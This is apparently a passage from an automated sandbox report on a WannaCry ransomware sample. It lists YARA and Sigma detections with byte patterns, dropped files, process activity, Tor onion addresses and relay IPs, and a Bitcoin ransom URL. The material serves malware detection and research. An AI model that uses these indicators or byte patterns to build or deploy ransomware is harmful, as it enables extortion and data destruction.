    • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    00000097.00000002.1486778003.000000000040F000.00000004.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      Process Memory Space: f_000112.exe PID: 6872JoeSecurity_Conti_ransomwareYara detected Conti ransomwareJoe Security
        Process Memory Space: f_000112.exe PID: 6872JoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.f_000112.exe.957150.0.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          151.2.f_000112.exe.10000000.1.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          151.2.f_000112.exe.ac6d78.0.raw.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          151.2.f_000112.exe.ac6d78.0.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          0.2.f_000112.exe.957150.0.raw.unpackWanaCryWanaCry Payloadkevoreilly
          • 0xd5c4:$exename: @WanaDecryptor@.exe
          • 0xd60c:$exename: @WanaDecryptor@.exe
          • 0xd8c0:$res: %08X.res
          • 0xd8b4:$pky: %08X.pky
          • 0xd8a8:$eky: %08X.eky
          • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
          Click to see the 4 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Startup Folder File Write
          Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\f_000112.exe, ProcessId: 6872, TargetFilename: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SDF366.tmp
          Sigma detected: Uncommon Svchost Parent Process
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\f_000112.exe", ParentImage: C:\Users\user\Desktop\f_000112.exe, ParentProcessId: 6872, ParentProcessName: f_000112.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6756, ProcessName: svchost.exe
          Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
          Source: Process startedAuthor: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 234691724246428.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7104, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 6292, ProcessName: cscript.exe
          Sigma detected: Windows Processes Suspicious Parent Directory
          Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\f_000112.exe", ParentImage: C:\Users\user\Desktop\f_000112.exe, ParentProcessId: 6872, ParentProcessName: f_000112.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6756, ProcessName: svchost.exe

          Suricata Signatures

          Timestamp:2024-08-21T15:19:28.901966+0200
          SID:2028377
          Severity:3
          Source Port:59310
          Destination Port:9001
          Protocol:TCP
          Classtype:Unknown Traffic
          Timestamp:2024-08-21T15:19:28.901966+0200
          SID:2028377
          Severity:3
          Source Port:59312
          Destination Port:31337
          Protocol:TCP
          Classtype:Unknown Traffic
          Timestamp:2024-08-21T15:19:28.901966+0200
          SID:2028377
          Severity:3
          Source Port:59313
          Destination Port:443
          Protocol:TCP
          Classtype:Unknown Traffic
          Timestamp:2024-08-21T15:21:58.943943+0200
          SID:2028377
          Severity:3
          Source Port:59311
          Destination Port:9101
          Protocol:TCP
          Classtype:Unknown Traffic

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus / Scanner detection for submitted sample
          Source: f_000112Avira: detected
          Antivirus detection for dropped file
          Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: TR/FileCoder.724645
          Multi AV Scanner detection for dropped file
          Source: C:\@WanaDecryptor@.exeReversingLabs: Detection: 97%
          Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exeReversingLabs: Detection: 97%
          Source: C:\Users\user\Desktop\@WanaDecryptor@.exeReversingLabs: Detection: 97%
          Source: C:\Users\user\Desktop\taskdl.exeReversingLabs: Detection: 95%
          Source: C:\Users\user\Desktop\taskse.exeReversingLabs: Detection: 89%
          Source: C:\Users\user\Desktop\u.wnryReversingLabs: Detection: 97%
          Source: C:\Users\user\Documents\@WanaDecryptor@.exeReversingLabs: Detection: 97%
          Source: C:\Users\user\Downloads\@WanaDecryptor@.exeReversingLabs: Detection: 97%
          Multi AV Scanner detection for submitted file
          Source: f_000112ReversingLabs: Detection: 92%
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.8% probability
          Machine Learning detection for dropped file
          Source: C:\@WanaDecryptor@.exeJoe Sandbox ML: detected
          Machine Learning detection for sample
          Source: f_000112Joe Sandbox ML: detected
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004420 CryptGenRandom,151_2_10004420
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004040 CryptExportKey,GlobalAlloc,CryptExportKey,_local_unwind2,CreateFileA,WriteFile,_local_unwind2,151_2_10004040
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004170 CryptExportKey,CryptGetKeyParam,GlobalAlloc,GlobalFree,151_2_10004170
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10003BB0 GetFileAttributesA,CryptReleaseContext,151_2_10003BB0
          Source: f_000112Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: Binary string: aC:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.pngp\Symbols\ntkrnlmp.pdbiceHG source: f_000112.exe, 00000000.00000003.2247946530.0000000003720000.00000004.00000020.00020000.00000000.sdmp
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,151_2_10002300
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,151_2_10004A40
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD3406.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SDBF32.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SD3407.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SD4A4C.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD3405.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SD3417.tmpJump to behavior

          Networking

          barindex
          Found Tor onion address
          Source: f_000112.exe, 00000000.00000002.2469078790.000000001000D000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
          Source: f_000112.exe, 00000097.00000002.1487413082.0000000002620000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipk
          Source: global trafficTCP traffic: 192.168.2.16:59301 -> 162.159.36.2:53
          Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.16:59311 -> 128.31.0.39:9101
          Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.16:59310 -> 163.172.13.165:9001
          Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.16:59312 -> 81.7.10.93:31337
          Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.2.16:59313 -> 185.100.84.212:443
          Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
          Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
          Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
          Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
          Source: store.db.51.drString found in binary or memory: http://download.windowsupdate.com/d/msdownload/update/software/ftpk/2023/08/windows10.0-kb5011048-x6
          Source: store.db.51.drString found in binary or memory: http://download.windowsupdate.com/d/msdownload/update/software/updt/2023/09/windows10.0-kb5001716-x6
          Source: m_danish.wnry.0.drString found in binary or memory: http://schemas.micr
          Source: store.db.51.drString found in binary or memory: http://tlu.d
          Source: store.db.51.drString found in binary or memory: http://tlu.dl
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.d
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.de
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.del
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.deli
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.deliv
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delive
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.deliver
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.m
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.m
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.mi
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.mic
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micr
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micrBosoft.com/filestreamingservice/files/e5fd51e1-714d-4a9f-ad84-b9c7c9da
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micraosoft.com/filestreamingservice/files/a730fbc0-b3e6-42bf-9776-5c1a9503
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micro
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micros
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.micros5oft.com/filestreamingservice/files/621f41c6-598e-4516-bb23-be21d146
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsLoft.com/filestreamingservice/files/ae12b07d-3012-4812-92a3-bdc1df33
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microso
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsof
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft.
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft.8com/filestreamingservice/files/1e08863d-491b-4609-a0f8-bd8fb8ab
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft.c
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft.co
          Source: store.db.51.drString found in binary or memory: http://tlu.dl.delivery.mp.microsoft.coEm/filestreamingservice/files/17a1f764-1e22-4005-ad95-0bc97022
          Source: svchost.exe, 0000002B.00000002.1368381981.0000021CF6013000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
          Source: f_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696581201119.12791&key=1696581201400600
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696581201119.12791&key=1696581201400600000.1&cta
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
          Source: svchost.exe, 0000002B.00000002.1368787378.0000021CF605A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368895493.0000021CF6081000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367593072.0000021CF605B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
          Source: svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
          Source: svchost.exe, 0000002B.00000003.1366869450.0000021CF6085000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
          Source: svchost.exe, 0000002B.00000002.1368644717.0000021CF603F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367593072.0000021CF605B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
          Source: svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
          Source: svchost.exe, 0000002B.00000002.1368644717.0000021CF603F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
          Source: svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
          Source: svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
          Source: f_000112.exe, 00000000.00000002.2469078790.000000001000D000.00000004.00001000.00020000.00000000.sdmp, f_000112.exe, 00000097.00000002.1487413082.0000000002620000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
          Source: f_000112.exe, 00000097.00000002.1487413082.0000000002620000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipk
          Source: svchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
          Source: svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
          Source: svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
          Source: svchost.exe, 0000002B.00000003.1367657109.0000021CF6054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
          Source: svchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
          Source: svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
          Source: f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CLXfQbX4pbW4QbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
          Source: svchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak
          Source: svchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dyn
          Source: svchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.v
          Source: svchost.exe, 0000002B.00000003.1367657109.0000021CF6054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
          Source: svchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odv
          Source: svchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs
          Source: svchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
          Source: svchost.exe, 0000002B.00000002.1368543054.0000021CF603B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
          Source: svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
          Source: svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
